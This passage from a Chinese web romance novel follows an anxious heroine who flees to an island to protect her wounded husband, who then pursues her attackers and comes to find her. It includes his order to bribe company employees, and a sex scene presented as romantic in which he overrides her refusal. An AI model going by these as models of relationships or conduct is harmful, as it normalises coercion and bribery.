陆京御想看心理医生倒是不急于这两个小时,点头答应了。他看着江凝烟乐颠颠地跑出去,贴心地给他关上病房的门,脸蛋在门关上前挤在门缝里,笑着跟他挥手。 他不知道,这个寻常又温馨的画面,后来他想起来心就像被撕裂了。 江凝烟坐上车,让保镖们全都坐在后面那辆车,自己坐在后排,脸靠在冰冷的玻璃上,眼泪纵横肆虐,她的手一直摸着陆京御给她的那根手链。陆京御给的东西很多,她只留这一件。虽然也很贵,好几千万,不该要,但他给的东西就没有便宜的。 她还想留个念想,留个抚慰剂。 她浑浑噩噩地到机场,飞去了另一个城市,通过轮渡去了海岛。 全程也就是一个上午的时间,但这半天她像是进入了另一个世界。 一个灰暗无光的世界。 她向警方申请了庇护,早就在海岛上跟人买了一幢民宿,到的时候正是大中午,阳光热烈,在海面上折射着耀眼的光,她也不拉窗帘,她害怕黑暗将她拖入万劫不复的深渊,但可惜的是,日光也如烈火在焚烧她的眼睛。 她的眼睛难以抑制地流泪。 她蜷在飘窗座椅上,失神地望着粼粼的海面,胃里忽然像是外面翻涌的白浪,汹涌起来,像是要涌出喉咙。 她想奔到厕所,腿却疲软无力,栽倒在地上。 哐当—— 膝盖和胳膊肘砸到地面上,她的四肢开始抽搐。 她抖了一分钟左右,跪在床边,扒着床檐挪到了床头柜那,从包里翻出抗焦虑的药。 等到这阵压过去,她唇色惨白得像是刷白的枯树根,一棱一棱,一片一片。 她心里有个猜测,她这次的焦虑是不是不止担心陆京御死,还有分离性焦虑障碍? 因为这个常见于儿童青少年,她不敢确定。 她给心理医生打了电话,描述了一下症状,对方说:“很有可能。如果情况更严重了,最好还是让他能陪伴你。” 江凝烟不要。 她不要陆京御有危险。 她挂掉了电话,钻进被子里休息- 陆京御发现江凝烟失联已经是中午,问她在学校里吃的什么午餐,江凝烟没有回复。等了一分钟他就着急了,拨了电话,一开始无人接听,再打的时候已经是,“对不起,您拨打的电话已关机。” 他瞳孔猛烈一缩。 这时,门前出现林嘉宇的身影。 他手里拿了封信,面如死灰地进来。 陆京御胸腔的子弹眼像是又炸开了,痛得他发抖。 “她留给你的信,大概不想再连累你了,别的我也不知道。”林嘉宇说。 浑身的气血都往陆京御脑门上涌,他头晕目眩。 他战栗着拆开信封,一张离婚协议书,背面写着“如果两年我还失联,你可以去报失踪离婚”。 还有一封信,他一字一句读下去,目光落在“我小时候有焦虑症”“我必须跟你分开”“只有你万无一失,我才能不做噩梦。” 恐惧、绝望、心痛组成烈火在他心口焚烧,痛楚一寸寸扩散,侵略。 他从来没有这么无助过,她退一步,他可以前进一百步,但是,她说她有焦虑症,他危险会让她焦虑症严重。 他的脚像是被钉子钉在地上,迈不了一步。 焦虑症…… 他发现晚了…… 早上她在卫生间里躲着,是不想让他发现? 她焦虑症已经严重到不光是做噩梦,已经严重到身体反应了吧? 她离开前的画面像是电影在他眼前一帧一帧慢镜头回放。 她会藏起她的右手,放在他视觉盲区,本来以为只是巧合,如今往深里想,她出现的躯体反应是:手足抽搐? 他脸色刷白。 他想起她从卫生间出来后的笑容,胸口传来一股剧痛,像是胸口的枪伤被踹裂了。 他喉头涌上血腥味。 “咳——”有什么液体从喉咙溅出来他没感觉,直到拿手背擦嘴的时候他才发现是血。 林嘉宇在喊什么他完全没在意,也完全听不见,他颓坐在地上,宽阔的脊背靠着床头柜,信纸从他指缝中坠落。 手背上点滴的针管被他扯动,血液回流,一根细细的血色管子在半空中震荡,诡异,骇人。 他垂着额头,刘海遮住眼眸,眼泪滚滚而流。 她在他身边,他居然没发现她的异样。 他心脏抽痛,扎着针的青筋更加鼓起,血液迅速往上飙。 他在她身边,她居然生病自己躲在卫生间里不愿意被他发现? 他伸手拔掉了手背上的针,手背上渗出血来,他视若无睹。 他寒着脸站起来,走到病房的衣柜,取了一身西装穿上。 医生围过来,叽叽喳喳说了些什么他没注意,径自往外面走。 有人拦住了他,他伸手用力拨开。 十分钟后,他出现在警察局。 “我要对这些所有人提起诉讼,必须让他们判刑,一个都不能放过。”他冷着脸说。 本来他以为他们认可警方的断案,警方说抓一个典型,别的都放了,他也就算了。没想到,他们根本不认可。甚至说杀了烟烟仇就一定报了。既然如此,那他就一个都不能放。 警察说:“不确定第二次,伤害您的是哪两个人。一个现场已经死了,还有个持枪的倒是能确定,但那两个年纪大的跑了的,不确定是哪个,不好抓啊。” 陆京御眼眸里寒光似刃,“这些人都没有不在场的证据是吧?” 谁都没有不在场证明,让警方怀疑所有人,不能下定论。 警察说:“是的。” 陆京御问:“笔录做了是吗?” 警察说:“是的。” 陆京御问:“这些人那时候都在干什么?” 警察说:“都在家里没出门。” 陆京御说:“好,那我要以包庇罪一起报案了。” 警察眨眨眼。 陆京御面色冷淡地说:“会这么统一行动,这个时间都在家里没出门,绝对是收到信号了。” 确实,有道理。 警察眼睛一亮,“那我们再查查他们收到什么信号了。本来翻手机没看出什么来。但他们最近办孩子后事碰面也挺多的,我们再审审。” 陆京御表情肃杀地说:“我向来得饶人处且饶人。但这么恶劣地两次杀人,害我老婆得了焦虑症,对她的精神造成了严重的伤害,所有人我一个都不会放过。” 警察点头,“好,我们知道了。” 如果这些人都能被抓,那就只剩持枪的那个了。 陆京御喉结忽地一滚,好像被什么堵住了,眼眶发红,问:“她……你们是不是护着呢?” 警察:“嗯。不会让她再出事的。” 陆京御没再说话,沉默着起身离开。 劳斯莱斯车里,他打了个电话。 “这段时间,应该跟京卓的人混熟了吧?” 对方说:“混熟了。” 陆京御眼睫微垂,敛住眼眸中的戾气,“用尽一切办法收买京卓的员工,拿到能把江家父子俩全部送进去的证据。” 对方说:“好。” 陆京御说:“要尽快。” 陆京御挂掉电话,转着江凝烟给他买的袖扣,想起她强撑的笑脸,唇线抿直。 司机大哥说:“陆总,您脸好红,是不是发烧了?这伤还没好透呢,千万要注意啊。” 他这么一说,陆京御才发现他的头有些重。 50-53 第51章 陆京御真的要疯了 陆京御浑浑噩噩躺在病房, 手背上又被扎了个孔,继续输液。 边上著名的胸外主任气呼呼,“发烧了啊。39.2度, 再这么作下去,严重感染了,我看你怎么办。” 病床前围了一堆人, 爸妈亲朋好友们都在, 他眼眸迷离地望去, 像堵人墙, 密不透风。 他这儿好多人, 好多关爱, 但他的烟烟,正一个人。 一个人病着。 他躺在床上,喉结上下滚动,喉咙难受得像是被刀割一样。 快点。 再快点。 再快点解决掉一切。 “家属得看好他,不能让他再这样了。他是做了十几个小时手术抢回一条命的人, 真当自己神仙呢。” 沈语兮抱歉地道:“给您添麻烦了。” 陆京御眼皮撑不住了, 吃了退烧药, 沉沉地睡去。 他梦见跟江凝烟真正意义上的第一次接触。 几年前在赵家的聚会上, 他那时候也是人生低谷。 他的人生第一次经历死别。 他的长辈们都健康, 第一个离世的是他的姥姥。 事发很突然, 流感到器官衰竭不过就是两天的功夫,他完全没有心理准备, 得到消息的时候整个人都是懵的。 他忏悔, 上次接到姥姥电话让他去看她的时候, 他还在忙于项目,项目有重要技术突破, 他跟他的团队一起,天天加班加点到凌晨两点,一点时间都挤不出,没能去看她。 他在电话里哄她,说忙过了这段时间,他就去看她。 没想到,没几天,就再也见不到面了。 他记得姥姥电话里的失落,也记得年幼时姥姥的每一份关怀与疼爱。 记忆的片段像是碎掉的玻璃,扎着他的心。 那时候,他忽然迷茫了。 为什么他要搞项目搞成这样? 搞到没能在姥姥在的时候,完成她一个小小的心愿。 这对他打击很大,他罢工了好些天,心里被愧疚和遗憾塞满了。 去参加赵家的宴会,是他爸看他闷在房里状态不对,把他拽出去的。 屋里人声鼎沸,大家谈笑风生,他更觉得格格不入。 他走出了厅堂,在赵家的长廊上吹风,忽然发现长廊上一本遗落的笔记本,被风吹着一页页翻开,唰唰唰的,引起了他的注意。 字迹龙飞凤舞潇洒飘逸,上面列了一个疑问。 问:【我真的是我吗?】 答:【我不是我。】 【我是从小到大这个社会上形形色色的世界观人生观价值观输入,导致我是现在的我。既然有这些输入,不管我有没有去反抗,我其实根本不是我,我已经被输入者控制了。有的控制是以爱为名,有的以道德为名,想让我成为他的刀剑或他的傀儡,甚至牺牲自己的利益;有的控制是以欲望为饵,让我余生为它卖命,甚至牺牲别的宝贵的东西。更可怕的是,我其实不一定发现那是一种控制,还被推着走,甚至以为那是自己想要的。然而我想要的可能只是别人给我编织的梦。我得跳出这个框架,俯瞰世界,排除所有影响,找到真正的我,那才是真正的自由。】 跳出这个框架,俯瞰世界,真正的自由。 他冥想,灵魂从上往下俯瞰,审视自己。 他发现,他也被控制了。 被欲望控制。 被世俗意义上的成功控制。 为了项目卖命,牺牲掉了跟家人相处的宝贵时间,连家人最后一面都没见上。 他难道不就是被“以欲望为饵”控制住了? 而他一直以来觉得这是种上进心,是种努力,是企业家的必经之路。 彻底醒悟之后,他反而释怀了,因为他会制定方案从这种控制中脱身,找到工作和生活的平衡。 那天,好奇心驱使下,他捡起长廊上的笔记本。 因为写得还挺有哲理,他以为是摘抄,所以倚在柱子上看起来。 看着看着发现这笔记本的主人灵魂又通透又破碎。 她超脱地俯瞰着一切,包括自己的伤疤。 她看破了爱,藐视爱,恰恰证明她没得到过真正的爱。 他发现这也不是摘抄,这是这笔记本主人自己的思考。 当时,他觉得是个特别有意思的灵魂,一身反骨,反霸权,反压迫,反一切束缚她的东西,精神清醒到可怕,随时随地在思考什么东西潜移默化在禁锢她的思想,囚禁她的肉/体。 他觉得有意思极了,不自觉地被吸引,看得入神。 看得正痴迷,抬眼就发现一个姑娘气得双颊鼓鼓,脸色红润,长着一双很灵动的眼睛,像是踩着风火轮,气势汹汹地冲过来,光影让她的发丝发着光。 她的? 这本子是这么小的姑娘的? 他从前没注意过这小姑娘,脑子里有她的画像,但也仅是画像。如今再看见人,整个人从眉眼到鼻子嘴巴,整张脸都生动起来。 他想到这小姑娘从小父母双亡,想到她说对方夸她可爱,但根本不爱她,怕她父母双亡缺爱,早恋还敏感地发现对方不爱,不禁脱口而出,劝她别早恋,会有人爱她的。 哪想到这姑娘根本不好好说话,她脚踏在长廊的石阶上,一跃而上,攀上他的肩。少女的芬芳随着她运动的气流扑鼻而来。 他跟异性向来保持安全距离,没跟异性这么亲近过,他猝不及防被抱住,心脏差点停住。 从赵家的宴会回去之后,他莫名其妙开始担心自己给她的第一印象很差,不小心窥探了人家的隐私,人家非常生气。 他觉得他该好好跟这个小姑娘道歉,他真的以为那是个摘抄本。 他认真思考该怎么跟这个小姑娘道歉。因为他跟江家不熟,是通过赵家熟悉的她,赵家这身份,他不能送她太贵重的礼物。 从她的笔记本里看见她吐槽说瑞京中学的乐器太差了,大提琴表面都是坑,钢琴键白的都灰了,弹起来让人心情真差。 他联系了人,给瑞京中学捐了一批乐器。 大大小小的乐器让他们统计了一下,全部更新换代。 恰巧临近她生日,他打听了,赵家说她会拉大提琴,他就送了把大提琴作为生日礼物,也作为“赔罪。” 他自知礼物不算贵重,特地在贺卡上写了:【哥不是故意的,对不起。作为赔罪,以后可以答应你一个要求,任何的。生日快乐,烟烟。——陆京御】 后来,他还是觉得不够贵重,承诺也不够,总觉得欠她些什么。 逮着重要的日子就送礼物。 春节、元旦、中秋、生日、毕业、升学。 一年又一年。 他这么送,给她找联姻对象,赵家当然第一个想到他。 他也是很后来才懂,为什么总觉得欠她什么,是因为爱。 爱是常觉亏欠。 陆京御醒来,是护士在给他量体温,把他的梦打断了。 他望着暗沉沉的天花板,思念吞噬着他的骨髓。 好不容易来到他身边了,好不容易有他能好好爱她了,她居然还是一个人。 她一个人有没有好好睡觉? 还有没有做噩梦? 她好像还以为他娶她是因为赵陆两家的关系是因为她姥爷? 他又觉得更心痛了。 居然让她在他身边,还产生这种误解。 他们还有好多误解没解开。 他的眼泪从眼角坠落,声音暗哑地问护士:“几度?” 护士说:“38度。” 陆京御闭上眼睛,等护士离开之后,打开了手机,手机屏幕刺得他眼泪更汹涌。 他搜索:龙烟。 她的笔名。 她在他身边的时候,他爱不释手,她离开了,他想看看她的世界。 因为从前未经允许看她笔记本的事,他也没有未经同意打开她写的书。 但晚上太想她,靠近她一点也好。 看着看着,他忽然发现龙烟的题材和文笔神似化雾。 他猛然想到化雾笔下有个习惯动作特别像她姥爷的角色。 那角色家里也有个女孩子有焦虑症。 后来怎么着了? 他回忆了一下,这个小女孩只是一个案子里的被害者,只是个不起眼的小配角。 小女孩是在一个寄宿制学校里遇到了霸凌,她爸妈早逝,能依靠的只有她姥爷,她无数次地跟她姥爷祈求帮她转学。 说有人想害死她。 她说她们真的会杀了她。 “姥爷,求求你了!帮我转学吧!我真的会被杀死!” “姥爷,求求你了!帮我转学吧!我真的会被杀死!” 她一遍又一遍地请求。 但她姥爷说什么? 她姥爷拒绝帮她转学。 书中阐述的原因是:A城只有这一所寄宿制学校,如果她转学,她就得走读回家,而她姥爷老传统,一方面侥幸心理觉得是她想太多了;一方面觉得她克死爹妈而且出嫁女的孩子住他们家也毁他们家的运势,就是不愿意她回家住。 所以,在小女孩提出想转学的时候,一次又一次地拒绝她。 最后,这个小女孩得了焦虑症,但不敢告诉家里,她觉得会被彻底舍弃。她每一天都在恐惧中度过,噩梦、呕吐、抽搐,全部自己忍过去,但恶魔也没放过她,在某天,校园外的湖里,发现了她被分尸的尸体。 陆京御想到这个片段简直要疯了。 后牙槽咬得咯咯作响。 他一直想不明白为什么她爷爷那样,她姥爷没把她接到赵家。 如今他想明白了! 该不会……当年他的小烟烟也这样一遍遍地求姥爷把她从江家带走,但她姥爷一遍遍拒绝了吧? 该不会……拒绝她的理由也是她克死爸妈?还有他爹的出嫁女的老传统? 他拽住被子的拳头猛地收紧,从床上坐起来,背佝偻着,呼吸急促到像是哮喘发作。 小烟烟该不会也焦虑到噩梦呕吐抽搐还自己忍? 是的,甚至现在的烟烟不也是吗?躲在卫生间里不让他发现。 陆京御想到她的信里说赵家也没那么在意她,居然是这么个不在意法。 他真的崩溃了,心痛到像是被劈开了,手背上青筋爆起,狰狞着泪眼。 他猛地掀开被子。 赵家大门半夜被叩响。 开门的是赵临风,看见陆京御阴沉着脸浑身笼罩着一股凌人的气势,吓得赶紧喊爹妈。 赵舅舅出来迎客,“京御啊?什么事啊,这么晚?” 陆京御肃杀的脸从阴暗出显露出来,昏昧的灯照在他的脸上,眉骨阴影深邃,一双眼浸在阴霾中,阴沉晦暗,咬牙切齿地问:“江家要她的性命,当年为什么不把她带来赵家?” 平地里一声惊雷。 中式四合院里,气息诡谲又阴森。 四周静得只剩呼吸声。 赵舅舅试图解释道:“是烟烟胡思乱想吧?当时没有证据证明是她爷爷,毕竟是爷爷,不可能的。再说,即使觉得不是她爷爷,我爸也警告过她爷爷了。” “可她害怕!”陆京御炸了。 他呲目欲裂,“不管是不是她爷爷!她害怕了!她害怕了!你们为什么不把她从江家接出来?” 他的怒吼声像是狂啸的兽,瞬间地动山摇。 让她得了焦虑症都不敢说! 也配当她的亲人? 让她有被杀的恐惧都不将她带离恐惧,也配当她的亲人?! 赵舅舅开不了口,说她克,说她毁运势,那赵陆两家的关系彻底断了。 结果赵临风这个没眼力见的逆子,以为陆京御来质问是嫌他们把这么克的烟烟给陆家联姻。 他直接把赵家的底裤扒了,说:“现在嫌她克了?当时可是你自己殷勤送礼得来的姻缘,你自己求的,怨谁啊?” “啪——”陆京御猛地一拳砸在赵临风脸上。 拳风刚硬似锤,完全不像病患,也完全没有手下留情。 赵临风踉跄地跌倒在地,顿时嘴角出血,愤怒道:“草,你敢打我?” 几个保镖围上来。 陆京御居高临下地睨着他,眸底的暴烈的怒火几乎要将赵临风吞没,“你也知道是我求来的?” 他眸底冷冽,冒着寒光,“我捧在手心的,容不得你们糟蹋。” 他冷冷地道:“从此,赵陆两家,割席断交。” 赵家人瞳孔一缩。 陆京御接着冷声道:“不过你们放心,我会把我的一切都给她,她会过得很好的。” 第52章 我在你身边,住你里面就好了 赵家人没想到赵陆两家三代世交, 会毁于一旦。 陆家背景深厚,又向来不是势利的人,为人正派。 陆京御有多重情义, 圈子里都有耳闻。 赵家如今稍稍势弱了,陆家对如今的赵家而言很重要。本打算借着跟陆家的联姻稳固地位。 没想到,会因为当年的不作为惹怒陆京御, 导致两家彻底决裂。 封建迷信, 重男轻女的回旋镖狠狠扎在赵家身上。 陆京御背过身, 院子里的竹风铃叮叮当当发出刺耳又急促的声响, 好像决裂的声音。 月辉落在陆京御肩头, 像是当年的江凝烟趴在他肩头, 他带走了年少的烟烟- 江凝烟所处的岛位于东海上,经济发达,但不算旅游热门岛屿,人不多。 她找的民宿也跟别家有挺远的距离。 尽量不牵扯别人。 日光晒在她的电脑屏幕上,微反着光, 她把顾槐的剧情都改了。 不舍得顾槐死了。 肯为女主挨子弹的男主不能让他死了。 顾槐必须好好地活着。 快改完了, 敲键盘的手指忽然发抖起来。 她伸手抓起边上的玻璃杯, 喝水吃药, 但是—— “哐当——”杯子不慎从手心滑落, 还好杯子够硬没摔碎。 她缩在飘窗角落发抖。 没吃上药, 这阵抽搐时间更久了。 她的喉咙像是被掐住了,出现呼吸困难。 分开几天, 症状越来越严重。 陆京御不在, 她像是失去了水分的鱼, 出现了濒死的死亡感。 她肢体下意识逃脱,摔到了地上, 床头柜的抽屉把手是金属,她磕到了脑袋,痛得她飙泪。 额前的血成帘子遮住她的眼睛。 她躺在地板上,望出去血红一片。 额前的伤流血量挺大,刺痛感剧烈,但她不准备去就医,她一出门就医,这些警察们就得跟着她,这样很容易被凶手发现。 她躺着等待这阵恐慌过去。 “叮咚。”江凝烟收到了一条短信。 她看了一眼,看见弹送的短信里出现了陆京御的名字,以为是幻觉。 这个手机号没有存陆京御的手机号,她怕自己忍不住打他的电话。 就算没存,她也无数次地输入了他的手机号前几位。 好在都能在按下拨通键前克制住。 她战栗的手指擦了擦眼睛,把眼前的血渍擦干,看清楚短信。 【XX银行】:陆京御于10月27日10:28分向您尾号XXXX的账户转入人民币10000000000.00元,余额XXX。备注:不离婚,我等着你,但我会计时,多跑一天多挨一次罚。 江凝烟看见这条短信,不知道为何濒死感逐渐地消失。 她好像回到水里的鱼,氧气闯进她的腮里。 是她昨天把三十亿退还给他,他知道她的卡号了。 没办法,带着三十亿跑真成骗婚了,得还给他,太早还又怕被他识破跑路的意图,只能跑了后还。 她手指颤抖地往上够,抓到了药,没有水,她把药含在嘴里,让它化掉。 药的苦涩感让她清醒。 她深呼吸了几次,那阵恐慌感总算熬过去了,她抱着手机看着短信笑了起来,眼泪模糊了短信。 她起身,找到了药箱,给自己的额头消了下毒,伤口还挺深,血止不住,一直在流,她咬牙消了下毒,贴了个大创口贴,不再管它。 【XX银行】:陆京御于10月27日10:31分向您尾号XXXX的账户转入人民币10000000000.00元,余额XXX。备注:照顾好自己,少一斤肉多挨一次罚。 江凝烟抱着手机,瞳孔微微放大。 又来? 给这么多? 是少一斤肉,多挨一次,还好不是多一个伤口。 结果,陆京御就像会读心术一样,下一条就是: 【XX银行】:陆京御于10月27日10:33分向您尾号XXXX的账户转入人民币10000000000.00元,余额XXX。备注:多一个伤口也会多挨一次罚。 江凝烟摸着额头的伤口,突然……好想挨罚。 她有些变.态地想被他狠狠罚。 肆无忌惮地任由他罚。 【XX银行】:陆京御于10月27日10:36分向您尾号XXXX的账户转入人民币10000000000.00元,余额XXX。备注:上网,看新闻。不要害怕,我可以保护你。 江凝烟心口一跳,立刻上网看新闻。 #爆!京卓七名高管被捕!# 涉嫌偷税漏税,非法经营,行贿等多项罪名,被逮捕,看这架势她爷爷她叔叔他们起码会在牢里待十年以上。 她眼眶湿润,心里温暖得塌陷…… 陆京御在那边努力…… 他在为团聚努力。 她用他的方法,同样给他汇款,只不过,她汇款单笔限额10亿,汇不到100亿,她给他汇了10亿。 陆京御也收到了十亿。 【XX银行】:江凝烟于10月27日10:43分向您尾号XXXX的账户转入人民币1000000000.00元,余额XXX。备注:【我限额。身体好了吗?别太操心,保重身体,你也不能少一斤肉。】 他看着江凝烟的名字出现在他的短信里,眼眶忽然就热了,手指触碰着屏幕里她的名字。 他又给她汇了一笔钱,备注:【我真可以保护你,不相信我,准备好挨罚了吗?很快。】 江凝烟脸蛋发热,是有点想,但是,她吃不准这歹徒什么时候出现。 她已经把消息放出去了,通过中间人传给那帮人,现在那帮人都知道她在岛上度假。 那帮人还想她死,应该会想方设法把消息传给持枪的那人。 他还有老婆还有父母不可能真的一点不联系。 问题是她要等到什么时候? 她跟陆京御还要分开多久? 江凝烟没想到陆京御说的很快,会这么快。 警方给她打了电话,告诉她有心理医生上门来帮她看看。 江凝烟拒绝让她看,警方告诉她:“是陆总叫的医生,陆总说你要是不看,他马上登陆岛上。” 江凝烟炸了,“你们告诉他我的位置了?” 警方说:“还没。但你要是不肯乖乖就医,那我们马上告诉他。” 江凝烟气得跳脚。 警察大哥电话里说:“望远镜看见你从飘窗上摔下去了,都病成这样了,我们还帮你瞒着,您要是有什么三长两短我们没法跟陆总交代了。刚好,陆总打电话来说想派个医生给您看看,我们当然同意。” 江凝烟只好同意。 反正做测试的时候,她什么回答都不老实回答,看他们怎么心理测试。 结果,她低估了陆京御找来的女医生的水平,这厮给她催眠了! 催眠完之后,女医生跟她笑眯眯地高深莫测地走了。 她在房间里心脏七上八下。 下午,果然警方让她开门看看,有人找。 一打开门—— 一道高大的身影逆光站着,丹凤眼被幽深的眼窝压得更具压迫感。 他就这么斜靠着背后的窗框,抱着臂膀盯着她。走廊的背后骄阳似火,但江凝烟觉得这些火好像烧到了他的身上。 江凝烟钉在地上像石化了。 他知道她这次更严重的是……分离焦虑障碍了? 那心理医生告诉他了? 江凝烟心尖发抖。 “额头上的伤怎么回事?”陆京御听不清情绪地问了一句。 江凝烟手指捏着自己的裤子边,心虚极了,低声道:“摔跤……” 她顿了一下,声音越来越轻,“磕到了床头柜……” “为什么会摔跤?”陆京御的声音依旧没什么起伏。 江凝烟更加心虚,心脏在耳边怦怦怦作响,就算小时候故意不写作业被老师抓都没有这么心虚过。 她低头嚅嗫,老实巴交地道:“抖……没坐稳……” 陆京御脚尖“啪”的一声,刚才斜靠着的身体站直。 这不轻不重的皮鞋着地声让江凝烟心猛地漏跳一拍。 他从逆光中走出来,江凝烟这才看清他的脸,他眼睛是红的,眼尾红透了,像天边那抹晚霞,眼眸布满血丝,上下眼睫又黑又湿像是被雨淋过。 眸底全是阴郁、痛苦,毁灭的情绪。 江凝烟心脏狠狠拧住,绞成了麻绳。 陆京御伸手将她打横抱了起来。 江凝烟大惊,“你还受着伤呢。” 他没说话,也没看她,进屋就那么几步路,他居然不让她走。 但江凝烟一直劝他,“放我下来,我自己可以走,你伤口别裂了。” 很快他们就走进了房间。 陆京御脚跟一踢,把门踢上。 他把她抵在墙壁上,手指捏着她的胯骨,指腹磋磨了两下,江凝烟脊背发软,下意识地往后靠,紧紧贴在墙上。 周边的空气变烫,灼烧着她每一寸肌肤,她知道要挨罚了,浑身细胞反倒是兴奋得战栗。 分开了一阵子,感官更敏锐了。 她被他手指那么一磋磨,浑身细胞像是被电击一样在流窜、叫嚣、颤抖。 “知道要挨罚了?”陆京御手指磨着她的胯骨,表情有点凶,质问似的,但眼泪止不住地往下流。额前的刘海微微遮住他的眼眸,他低头看着她,眼底被泪水洗过,光晕破碎稀疏。 江凝烟心头很软,他这样沉静地流泪,反倒是看起来像是山一样的痛苦压在身上,但他硬抗着不能崩溃,显得强悍又破碎。 她很乖地解释道:“一开始我也不知道跟你分开焦虑症更严重了…” 她一说,他眼泪流得更凶,眼眶兜不住泪水,两条水痕在他平整光滑的面部淌过。 他以为有一天她离不开他的时候,他会很高兴。可此刻,他难过得人像是被碾碎了,浑身上下的骨头每一根都被碾得支离破碎。 痛死了! 她离开他,焦虑症严重到会抽搐,却硬撑着自己一个人,深怕再连累他。 陆京御抽掉了她腰间的皮带,“好好想想怎么哄我,七天七夜?” 皮带和裤子发出呲溜一声摩擦声,像是抽在她心上,她浑身一哆嗦。她手指抵在他胸口,才想起来他的枪伤好了没多久,顿时有些抗拒,扭着臀,不让他解牛仔裤的扣子,“不行!不行!你伤还没好呢……” 他眼眸看着她,哪容她拒绝,泪眼猩红,说:“我好了……” 江凝烟想到说他生病没有用,他肯定会逞强,不如说自己生病他还忌惮些,“不行!我也还病着。” 陆京御双手控制住她扭动的胯,手背上血管爆起,死死压住她的两根胯骨,眸底都是疯狂的占有欲,抵死的、侵略的、吞噬的,好像死也要把她整个吞进去。 江凝烟心脏疯狂跳动,见他这模样呼吸都停住了。 只见他扯掉了她的裤子,阴鸷又痴狂地说:“不是什么大问题,我在你身边,住你里面就好了啊……” 第53章 正文完 江凝烟觉得幸好窗帘都阖得严严实实。 陆京御灼热的气息让她的脸颊滚烫。 她也好想他。 他的呼吸勾引得她脊椎发软, 身上的每个细胞都想拥抱他。 但是,理智告诉她,他的枪伤才刚愈合, 不宜剧烈运动。 更何况他今天哭成这样。 她手撑住他的胸口,焦急地推拒道:“陆京御,过几天, 你伤没好呢。” 陆京御不容拒绝, 哽咽说:“永远在一起。” 没有人因为她生病哭成这样过。 他眼里都是热泪, 她没想到这男人会为她哭成这样。 她有些动容。 可她还是有些担心, 他在她身边会有危险。 所以在他说永远在一起的时候, 她依旧没有回答。 陆京御大概察觉了她的担心, 像是要侵略到她的心脏,狂野到让她忍不住尖叫。 “烟烟。”陆京御声音嘶哑地说,“告诉你一个好消息,歹徒在轮渡的时候被抓了。他确实想最后搏一下。” 江凝烟睫毛一颤。 他的声音听起来很带劲,“别的歹徒们, 或者包庇罪, 或者共同犯罪, 都会被判刑。” “所以, 我们永远在一起。” 他哽咽, 咬牙低声道:“我差点痛死。烟烟, 再晚点我真的会痛死。别离开我了,行吗?” 江凝烟也哭了。 眼泪唰唰唰地往下流- 后来, 陆京御很是热情, 还是江凝烟怕他伤口裂了催促他结束, 不然他根本不舍得结束,“七天七夜我先欠着, 必须等你身体彻底好。我不能失去你。” 她一说她不能失去他,他就急刹车了。 结束后,他们依旧抱得很紧,喘着粗气平复。 江凝烟觉得这场爱来得像是久旱逢甘露,太酣畅淋漓了。 陆京御平复了一会,帮她擦干净穿衣服,把她扶起来说:“我们回家吧。” 去游艇的路上,他还要公主抱。 江凝烟真的好担心他的伤口,威胁他,“你伤口裂了我真的会生气。” 陆京御直接红着眼来了一句,“你再摔跤我死给你看!” 江凝烟被他噎了好半晌,瞪着眼,难以置信。 就因为她摔了一跤,不让她走路了? 江凝烟:“……” “我没发作的时候不会摔跤的,一点没影响的。” 陆京御不肯松手。 好在游艇就在不远处,两人坐上了游艇。 上了游艇,江凝烟想起陆京御做的那个把她捆起来的梦,心想或许是她喜欢捆绑,陆京御在跟她玩play呢。 但这种场面太震惊,陆京御那时候还没想到他们俩这么会玩。 江凝烟看着他如临大敌的表情,勾唇哄他,“你也快点完全康复,我想跟你玩play。” 陆京御脚步一慢。 江凝烟露出邪恶的笑容,“就游艇捆绑那种。” 陆京御差点一个踉跄。 江凝烟觉得这该是有效激励了吧。 她就不信他不想。 陆京御抱着她上私人飞机,边上的乘务员看见陆京御这架势,怕服务不周到还特地贴心地问她哪儿不舒服,她需要注意点什么。 江凝烟尴尬地笑笑说挺好的,没什么不舒服。 然后瞪了他一眼,“大惊小怪。” 两人在飞机上,陆京御也不松手。 他眸色幽深,取过医药箱,帮她把额前的创口贴撕了,看看额头的伤。 一看,当即蹙眉。 两厘米的口子,现在还能看见里面翻起的肉。 这么深的伤口居然就这样贴了个创口贴完事了。 他眉心拧紧,眼眶发红,“回家去医院处理下,别留疤了。” 江凝烟看着他的表情,不禁好奇地问他:“你哭过几次?” 这个能挡刀挡枪的陆京御,这么爱哭? 陆京御眼神睨下来,“长大后第一次哭。” 江凝烟忍俊不禁,之前怎么逼他,他都不发疯,唯一能让他发疯的居然是她生病。 她又有点感动得想哭,原来她生病才能让他发疯。 她说:“奖励你游艇捆绑play。” 陆京御:“……” 能别再说那个play了吗? 他真的会种草,真的会试。 江凝烟看穿了他,坏笑道:“其实也可以装家里地下室,偶尔play一下又怎么了?” 陆京御:“……” 他老婆真的挺热情的。 现在她真爱了更热情了。 他甚至有点难以想象他往后的幸福人生。 快点痊愈,就可以享受了。 这时候,乘务员拿了个体温计过来,问江凝烟:“太太,您给陆总量体温还是我来?” 江凝烟蹙眉,刚才跟他do的时候确实感觉很烫,但她以为他们do的时候他就是很烫的,“还发着烧?” 陆京御:“量量看?” 江凝烟帮他量了下,37.5度,低烧。 江凝烟表情骤变,顿时拽紧他的小臂,十分紧张地问:“低烧是感染了吗?医生怎么说的?” 陆京御看她脸色一下惨白,想到她如今有害怕失去他这个毛病,立刻解释道:“这两天降下来了,也没别的症状,应该没感染。” 结果乘务员不知道江凝烟的情况,插嘴说:“虽然没感染,但前两天39度陆董说得注意。” 江凝烟瞪大眼。 “别吓她。”陆京御忽然翻身吻了起来,吸吮她的舌尖,深深舌吻。 吻了一会,蹭了下她鼻尖说:“害怕了吻你能好点吗?” 江凝烟眨眨眼,表情有点懵,点了头。 陆京御问:“我是因为你跑了,急的。所以别跑了。你现在有哪里不舒服吗?” “没有了,还好。” 江凝烟从来没有被人这样对待过,以后有点焦虑恐惧就吻就做吗?她不想消耗对方的感情,认真地对他说:“你不用这样,我不会消耗你的。” 如果她真的对分离有什么感觉不舒服的地方,她也不会消耗陆京御。陆京御有自己的生活还要工作。 陆京御说:“我们回家再好好看看医生,如果你需要我,我会把我手头的一切都停下,只陪你。” 江凝烟瞳孔震荡。 陆京御,前途一片光明的陆京御,居然说会把手头的一切停下来? 陆京御很认真地说:“其实几千亿和更多已经没有尽头了,你需要我,这是最重要的。” 江凝烟觉得像他这样的年轻人,可能更在意的不是钱,而是证明自己。 他居然能顶住这种诱惑。 江凝烟注视着他,脸上绽放出灿烂的笑容,抱紧他的脖子,“我觉得我没那么严重。你安心做你的事,但我很开心你那么重视我。” 陆京御说:“你还记不记得我不小心看了你的笔记本?” 